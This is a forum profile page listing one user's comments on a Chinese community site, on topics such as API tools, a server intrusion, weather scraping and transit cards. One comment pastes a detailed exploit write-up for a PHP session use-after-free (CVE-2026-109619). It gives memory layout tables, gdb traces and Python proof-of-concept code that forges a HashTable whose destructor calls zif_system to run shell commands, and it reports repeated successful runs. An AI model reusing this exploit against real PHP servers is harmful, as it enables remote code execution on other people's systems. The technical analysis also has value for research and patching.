cnskis 发表的评论

评论帖子【💰】有轻量级的 Postman 的替代品吗

之前有个对标的，叫 postwoman，现在改名了。
https://github.com/hoppscotch/hoppscotch

评论帖子2Libra oAuth2.0 新增开放API更新，现在可以使用开放的API写三方程序了

@Jimmy doge 这是我的补充规则。

评论帖子2Libra oAuth2.0 新增开放API更新，现在可以使用开放的API写三方程序了

@Jimmy 我们是正规娱乐平台，要是可以提现，那不就是赌博了吗.jpg doge 国家规定只能单向流动 🤣

评论帖子2Libra oAuth2.0 新增开放API更新，现在可以使用开放的API写三方程序了

直接扣金币给我，然后我提供刮刮乐 doge

评论帖子2Libra oAuth2.0 新增开放API更新，现在可以使用开放的API写三方程序了

https://2libra.com/post/website-construction/eFT3wx3
金币变动能不能指定账户，从用户 A 指定到用户 B doge 我要用赛博刮刮乐收割

评论帖子复旦大学新生课上教授直接直言没有付费Token的请直接退学

两个月前的新闻了。

评论帖子AI辅助下的一次入侵排查

你不知道而已， @Jimmy

评论帖子AI辅助下的一次入侵排查

你没好好看文章，一个 index 是代码写的有问题，一个 index 是被劫持。

评论帖子AI辅助下的一次入侵排查

@Jimmy 图床的 oauth 密钥麻烦重置一下。

评论帖子AI辅助下的一次入侵排查

@Jimmy 我自己不能改自己帖子的访问限制，帮忙改成登录可见。

评论帖子关于墨雪飘影图床等服务被入侵说明

查不清楚最好直接重装，很多 rootkit 很难根除。

评论帖子关于墨雪飘影图床等服务被入侵说明

我一直比较头铁，经常部署下载的源码，这次大概就是以前部署的 PHP 源码的问题，因为我本身对 PHP 就不熟，这次算是大翻车了。
上周还在跟朋友看最近的大规模挂马事件，转头就自己遇到，是福也是祸，好处是可以看看它们的手段和木马特征，坏处就是要好好查查服务器了，还好我几个业务是分开的，这个服务器都是不怎么重要的服务。而且我全部都是白名单，webshell 目前就靠云厂商告警。

评论帖子关于墨雪飘影图床等服务被入侵说明

PHPExcel_1.7.9_doc

评论帖子关于墨雪飘影图床等服务被入侵说明

目前看不是的，历史遗留问题导致的。

评论帖子关于墨雪飘影图床等服务被入侵说明

已翻车，正在应急。

评论帖子不购买API获取天气的办法

@Jimmy 看你发的帖子，才知道还有这种免费的好东西，但是跨境的话，我不是很能接受，因为要做请求重试，还有延迟问题，所以我自己还是用这一套爬虫的。

前端抓数据好像不能跨域，提供给用户又不要上传数据，确实有点麻烦，这个只是提供给大家一种自己开发小工具要嵌入天气数据的时候的获取方法，你的场景不太符合需求。

评论帖子不购买API获取天气的办法

cunning 爬虫可不保证稳定（但是我用了几年了都没问题，学生时代一块钱掰成两半花，买 API 不如爬数据）

评论帖子用cc加一个 skill,把自己项目落地页的"AI味"改了一遍

正文链接已处理，不会识别到后面了。

评论帖子修复本地时间与网络时间不一致，同步提示找不到元素

只是时间不对的话打开网页就会报错，时间不一致，直接同步就好了，这个是默认配置丢失，麻烦一点。

评论帖子出昨天下午开的88VIP

夸克以前才 2，现在都能卖 10 了，我续费也卖了得了。

评论帖子谁有好的解决办法？

根据社区规则：交流：禁止直接发布和评论 AI 生成的文本内容；
https://2libra.com/help/rule
@Jimmy 处理一下。

评论帖子修复本地时间与网络时间不一致，同步提示找不到元素

我也是第一次遇到，以前时间不对 SSL 会报错，直接打开同步就好了。这次 SSL 不报错，更新不了才查了一下。

评论帖子修复本地时间与网络时间不一致，同步提示找不到元素

有些配置真不好在网上搜，尤其是 Windows 的一些问题，网上都是内容农场的垃圾内容。AI 辅助解决会效率高很多。

评论帖子网页电台分享RoamDial

人总是喜欢在失去某些东西的时候再去回味，以前只有收音机（以前部分安卓机还有 FM）的时候没多少人用，现在把收音机搬到网上听，我不是很能理解，因为我有时候有兴趣了就拿实体收音机或者对讲机的收音机功能搜搜，网络的没兴趣，感觉没灵魂。😐

评论帖子有没有人发现，手机的文件管理真的很难用

因为权限管理越来越严，很多 APP 只能把数据放在/sdcard/Android/data/应用包名/下面，还有 download 里面，有时候应用没申请权限或者没同意，只能放应用目录，你用一些软件就看不到。导出可以用 es、mt 的局域网 FTP 之类的，有线中断的情况我遇到过，不过不常见。

评论帖子我跟我妈的思维逻辑有很大的区别，她总是觉得我咄咄逼人

我会连续问她一些问题，她只用回答是或者不是
这是教育几岁小孩的方法，小孩思维跳跃，有时间就瞎说，尤其是写作业和犯错的时候。这个用在同龄人和父母身上不合适。

评论帖子输入框bug

我好像知道为什么了，内容太长，没有提示，直接就不让输入了，建议改为超出后下面写上字数，和红色的提醒，比如：内容过长，1200/1000，我测了几遍才知道是超过了内容，再打字的时候强制不让输入。😐

评论帖子PHP 请求生命周期边界漏洞技术分析（CVE-2026-109618/109619）

三、CVE-2026-109619：未复位会话全局 + 跨请求 pDestructor 劫持

漏洞描述

请求 A 在 pre-RINIT 阶段处理 multipart 上传进度时，MULTIPART_EVENT_FILE_START 分支调用 php_rinit_session(0)（session.c:3264）临时补齐会话状态，其 php_rinit_session_globals()（session.c:111-127）只重置 PS(id)、PS(mod_data)、PS(session_vars)、PS(http_session_vars)，PS(mod) 与 PS(serializer) 不在重置范围。随后 php_session_initialize() → php_session_track_init()（session.c:253-269）建立 PS(http_session_vars) 引用：

复制

zend_delete_global_variable("_SESSION");
if (!Z_ISUNDEF(PS(http_session_vars))) zval_ptr_dtor(&PS(http_session_vars)); /* 261 */
array_init(&session_vars);
ZVAL_NEW_REF(&PS(http_session_vars), &session_vars); /* 265 */
Z_ADDREF_P(&PS(http_session_vars)); /* 266 */
zend_hash_update_ind(&EG(symbol_table), "_SESSION", &PS(http_session_vars)); /* 267 */

A 在读取 24 MiB 普通字段值时 erealloc 触顶 memory_limit=16M，_zend_bailout()。因 PG(modules_activated)=0，RSHUTDOWN 被跳过，php_rshutdown_session_globals()（session.c:158-190，含 PS(http_session_vars) 的 zval_ptr_dtor + ZVAL_UNDEF）从未执行，该 zend_reference 悬空。

请求 B 不带文件字段，php_rinit_session(0) 不跑，pre-RINIT 逻辑读到 A 遗留的悬空值。B 的 MULTIPART_EVENT_END 默认 cleanup=On 走 php_session_rfc1867_cleanup()（session.c:3166-3176）→ php_session_initialize() → php_session_track_init()：

复制

if (!Z_ISUNDEF(PS(http_session_vars))) {
    zval_ptr_dtor(&PS(http_session_vars)); /* session.c:261，此时该地址已是攻击者字节 */
}

Z_ISUNDEF 为假，析构必然执行，消费攻击者控制的伪造引用。两者缺一不可：PS(mod) 为空则 php_session_initialize() 入口即返回；PS(http_session_vars) 被正确 UNDEF 则 track_init 的析构跳过。

关键 gdb 信息

请求 A 建立引用后 OOM：

复制

SESS_INIT ti=0x0 r0=(nil) chunkoff=0x0
BAILOUT
#5 zend_mm_safe_error at Zend/zend_alloc.c:407
#4 zend_mm_alloc_huge at Zend/zend_alloc.c:1942
#2 zend_mm_realloc_slow
#1 multipart_buffer_read_body at main/rfc1867.c:632

ti=0x0 说明 A 进入时 http_session_vars 是 UNDEF，析构跳过，随后新建引用，无任何人回收。

请求 B 触发析构的完整链：

复制

SESS_INIT ti=0x30a r0=0x7ffff3c7b6c0 chunkoff=0x7b6c0
  fake_refgc=0xa00000001 fake_valptr=0x7ffff3c7c018 fake_valti=0x307
REF_DESTROY entry rdi=0x7ffff3c7b6c0 rsi=(nil)
  0x7ffff3c7b6c0: 0x0000000a00000000 0x00007ffff3c7c018
  0x7ffff3c7b6d0: 0x0000000000000307 0x4141414141414141
ARRAY_DESTROY ht=0x7ffff3c7c018 rc=0 flags=0x10 nUsed=1 nOf=1 pDtor=0x555555b3a900 arData=0x7ffff3c7c058
HT_DESTROY ht=0x7ffff3c7c018 flags=0x10 nUsed=1 nOf=1 pDtor=0x555555b3a900 arData=0x7ffff3c7c058
ZIF_SYSTEM ed=0x7ffff3c7c058 num_args=1
  0x7ffff3c7c0a8: 0x00007ffff3c7c118 0x4141414100000006
PHP_EXEC type=1 cmd=id>/tmp/php2shell_rce_proof;…;echo RCE_OK>>… array=(nil) retval=0x1
Program received signal SIGSEGV
169 RETVAL_STRINGL(buf, bufl);

栈帧：

复制

#5 i_zval_ptr_dtor (zval_ptr=0x7ffff3c7b6c8) zend_variables.h:45
#6 zend_reference_destroy (ref=0x7ffff3c7b6c0) zend_variables.c:74
#7 php_session_track_init () session.c:261
#8 php_session_initialize () session.c:479
#9 php_session_rfc1867_cleanup (progress=…) session.c:3154
#10 php_session_rfc1867_callback (…) session.c:3317
#11 rfc1867_post_handler (…) main/rfc1867.c:1273

pDtor=0x555555b3a900 = PIE 基址 0x555555400000 + 0x73a900（zif_system 偏移）；r0 的 chunk 偏移 0x7b6c0 与 A 阶段一致；REF_DESTROY 入参 refcount 已为 0（GC_DELREF 由调用方做）。

前置条件

同 worker：仅 php -S 单进程验证，FPM/pre-fork 未测。
请求 A 必须带文件字段：只给 PHPSESSID 与 PHP_SESSION_UPLOAD_PROGRESS 不触发 FILE_START，http_session_vars 始终 UNDEF，链断在起点。
A 的 OOM 必须落在 FILE_START 之后（引用已建立）：实测为读取末尾 24 MiB 普通字段值时 multipart_buffer_read_body 的 erealloc；16 MiB 限额配 24 MiB 字段是成功组合。
session.upload_progress.enabled=On（默认）：置 0 则无 php_session_initialize，链从第二步断。

B 布局常量（8.5.2 build，gdb 实测）：

量	值	说明
`OFF_R0`	`0x7b6c0`	悬空`zend_reference` 在 chunk 内偏移
`OFF_BIG_DATA`	`0x7a018`	B 的`big` 值数据起点
`VAL_REF`	`0x16a8`	目标在值内偏移（`OFF_R0 - OFF_BIG_DATA`）
`VAL_HT`	`0x2000`	伪造 HashTable
`VAL_ED`	`0x2040`	伪造 execute_data / arData
`VAL_CMD`	`0x2100`	伪造 zend_string + 命令
`VAL_LEN`	`60000`	覆盖到`0x2100+0x18+len`

主 chunk 跨请求复用：zend_mm_shutdown()（full=false 分支）只收 main_chunk 之外的块，主 chunk 与进程同寿命，B 可在同一地址重写。

伪造结构布局（vbase = chunk + 0x7a018）：

zend_reference（+0x16a8，24 字节；sources 落在 'A' 上）：

偏移	字节	含义
+0x00	`01 00 00 00`	`gc.refcount = 1`（必须写 1，写 0 则 `GC_DELREF` 下溢，`rc_dtor_func` 不触发）
+0x04	`0a 00 00 00`	`gc.type_info = IS_REFERENCE`
+0x08	HT 绝对地址	`val.value.ptr`
+0x10	`07 03 00 00`	`val.u1.type_info = 0x307`（`IS_ARRAY
+0x14	`00 00 00 00`	`val.u2`

HashTable（+0x2000，0x40 字节）：

偏移	值	字段
+0x00	`01 00 00 00`	`gc.refcount = 1`
+0x04	`07 03 00 00`	`gc.type_info = 0x307`
+0x08	`10 00 00 00`	`flags = HASH_FLAG_STATIC_KEYS`
+0x0c	`f8 ff ff ff`	`nTableMask = -8`
+0x10	ED 绝对地址	`arData`
+0x18	`01 00 00 00`	`nNumUsed = 1`
+0x1c	`01 00 00 00`	`nNumOfElements = 1`
+0x20	`08 00 00 00`	`nTableSize = 8`
+0x30	`zif_system` 绝对地址	`pDestructor`

HT_IS_WITHOUT_HOLES（1==1）与 HT_HAS_STATIC_KEYS_ONLY（0x10 & 0x14）命中紧凑循环，每 bucket 直接 pDestructor(&p->val)（zend_hash.c:1769），不读 p->key。

zend_execute_data（+0x2040，与 arData/Bucket 重叠）：

偏移	值	作用
+0x2c	`01 00 00 00`	`This.u2.num_args = 1`
+0x50	cmdstr 绝对地址	`ZEND_CALL_ARG(ed,1).value.ptr`
+0x58	`06 00 00 00`	arg1`type_info = IS_STRING`

重叠成立是因为 Bucket.val 在 +0x00，zend_hash_destroy 传给析构器的是 &p->val，RDI 天然等于 arData = execute_data，无需跳板。ARG(1) 在 +0x50 是因为 ZEND_CALL_FRAME_SLOT = ceil(0x50/0x10) = 5。

zend_string（+0x2100）：

偏移	值	字段
+0x00	`01 00 00 00`	`gc.refcount = 1`
+0x04	`06 00 00 00`	`gc.type_info = IS_STRING`
+0x08	0	`h`
+0x10	len	`len`
+0x18	命令字节 + 0	`val`

命令不能含 NUL（Z_PARAM_PATH_STR 拒绝）。

两个绝对地址：Zend MM chunk 基址（三个自指针需绝对值，伪造块在 chunk 内相对位置固定）、PIE 基址（pDestructor = 基址 + 0x73a900）。实验通过 /proc/<pid>/maps 的 [anon:zend_alloc] 段与 /php 映射获取。
命令执行后进程崩溃：pDestructor(&p->val) 只设 RDI，RSI 残留 0x1 作为 return_value；php_exec 中 VCWD_POPEN 先跑完命令，RETVAL_STRINGL 往 0x1 写时 SIGSEGV。一个 worker 一条命令。

POC（`scripts/lab_sink2_rce.py`）

请求 A：

复制

def arm_a(boundary):
    parts = [(b"PHPSESSID", b"a"*19), (b"PHP_SESSION_UPLOAD_PROGRESS", b"p"*3)]
    for i in range(107):
        parts.append((("p%06d" % i).encode(), b"V")) # 107 个填充字段
    parts.append((b"f", b"A"*64, b"a.txt")) # 文件字段，触发 FILE_START
    parts.append((b"big", b"B"*(24*1024*1024))) # 24 MiB，触发 OOM
    return multipart(parts, boundary)

请求 B：

复制

def arm_b(boundary, chunk, zif_system, cmd, fake_off=0):
    vbase = chunk + OFF_BIG_DATA
    ht, ed, cmdstr = vbase+VAL_HT, vbase+VAL_ED, vbase+VAL_CMD
    v = bytearray(b"A"*VAL_LEN)
    v[VAL_REF:VAL_REF+24] = struct.pack("<IIQII", 1, 10, ht, 0x307, 0) # fake zend_reference
    v[VAL_HT+0x00:...] = struct.pack("<II", 1, 0x307)
    v[VAL_HT+0x08:...] = struct.pack("<II", 0x10, 0xFFFFFFF8)
    v[VAL_HT+0x10:...] = struct.pack("<Q", ed)
    v[VAL_HT+0x18:...] = struct.pack("<IIII", 1, 1, 8, 0)
    v[VAL_HT+0x30:...] = struct.pack("<Q", zif_system) # pDestructor
    v[VAL_ED+0x2C:...] = struct.pack("<I", 1) # num_args
    v[VAL_ED+0x50:...] = struct.pack("<QI", cmdstr, 6) # arg1
    v[VAL_CMD+0x00:...] = struct.pack("<IIQQ", 1, 6, 0, len(cmd))
    v[VAL_CMD+0x18:...] = cmd + b"\x00"
    return multipart([(b"PHPSESSID", b"a"*19),
                      (b"PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
                      (b"big", bytes(v))], boundary)

运行结果（十个独立进程，PIE 与 chunk 基址每次不同）：

次数	chunk 基址	PIE 基址
1	`0x7815be200000`	`0x557432000000`
2	`0x7d2256800000`	`0x650e5f400000`
3	`0x7edd43e00000`	`0x61ee74600000`
4	`0x7de600600000`	`0x568908800000`
5	`0x71df4e400000`	`0x561e61000000`
6–9	各不相同	各不相同
10	打包脚本直接运行	运行时解析

每次均拿到 uid=1000(whl) 与 RCE_OK，均打印 chunk after A: <base> (same=True)。

阴性对照：伪造结构整体平移 8 字节与 16 字节，其余字节、地址、请求不变，服务端只返回 200，无副作用文件，进程不崩溃。原因是目标地址不再是 refcount=1 + type_info=0x0a，i_zval_ptr_dtor 进不了析构链，证明成功来自精确布局。

四、两者的关系与边界

复制

                    php_request_startup()
                             │
        PG(modules_activated)=0 (main.c:1900)
                             │
        ┌────────────────────┴────────────────────┐
        │ php_hash_environment() main.c:1942 │
        │ └─ rfc1867_post_handler │
        │ ├─ FILE_START → track_init │
        │ └─ FILE_END 后登记 $_FILES → OOM │ 109618 的入口
        └────────────────────┬────────────────────┘
                             │ longjmp
                  php_request_shutdown()
                     ├─ [门控] 1/5/7 ← 跳过 ⇒ 109619 的成因
                     └─ [无门控] 2/8/9/15 ← 109618 的消费面
                             │
                     下一次请求：pre-RINIT 访问悬空全局 ⇒ 109619 的消费

109618：同一请求内，退出阶段仍在消费半初始化对象；问题在不该此时 longjmp。
109619：跨请求，进入阶段消费了本该被回收的全局；问题在不该让 pre-RINIT 逻辑依赖只有 RSHUTDOWN 才清理的状态。

易含混处：OOM 本身不是 109619 的特征，只是入口；「跳过 RSHUTDOWN」也不是 109618 的性质；8.5.12 同版本带两个方向修复，不代表两个 CVE 是同一问题。

8.5.12 修复方向：

php_basic_early_rinit()（basic_functions.c:492，在 sapi_activate() 前调用）提前复位 BG(serialize)/BG(unserialize)，堵 109619。
延迟 OOM（ZEND_HAS_OOM()/zend_handle_delayed_oom()，zend_execute.c:4294-4295）使 zend_mm_check_limit() 非 fallible 堆下即使超软限额也返回 SUCCESS（zend_alloc.c:555），`

评论帖子PHP 核心 RCE 漏洞（CVE-2026-109618/109619）泄露

@cornradio 官方推荐升级版本，如果无法升级，临时缓解措施就是修改配置。

评论帖子PHP 核心 RCE 漏洞（CVE-2026-109618/109619）泄露

疑似 AI 内容，请勿直接发布 AI 内容，解决方案已经在置顶评论中的官方说明内，最好升级，缓解措施在官方说明中已有。

评论帖子PHP 高危漏洞

PHP 核心 RCE 漏洞（CVE-2026-109618/109619）泄露
https://2libra.com/post/network-security/HNiKOdX

评论帖子武汉通终于上线钱包APP了

@John 租用卡、纪念卡、销售卡、（中小学生卡和老年卡等不讨论）。
租用卡：押金 15 元。旧版每月扣 0.4 元押金，退卡时没扣完就退押金，扣完不退，新版退卡时押金全额退。故障转移余额换卡价格分情况。
纪念卡：各种联名之类的，价格不固定，一般 30 元起。故障转移余额换卡价格分情况。
销售卡：各种线下票亭、自助机、客服点购买，无法退卡，工本费 15 元。故障转移余额免费送卡。

评论帖子武汉通终于上线钱包APP了

@John 办卡也有线上，充值是一直可以线上的，注销只有几个客服点。

评论帖子周末回老家了，进山割了今年的蜂蜜，又是一年大丰收

@lens 不需要注册，直接使用 2Libra OAuth 登录。

评论帖子周末回老家了，进山割了今年的蜂蜜，又是一年大丰收

https://pic.mxpy.cn
境内图床，支持 2Libra 账号登录。

评论帖子修改帖子受到长度限制

把代码放进代码块里面。

评论帖子修改帖子受到长度限制

@Jimmy 对，说错了，是金币变动里面的。

评论帖子修改帖子受到长度限制

消息中心的超链接没有锚点吗？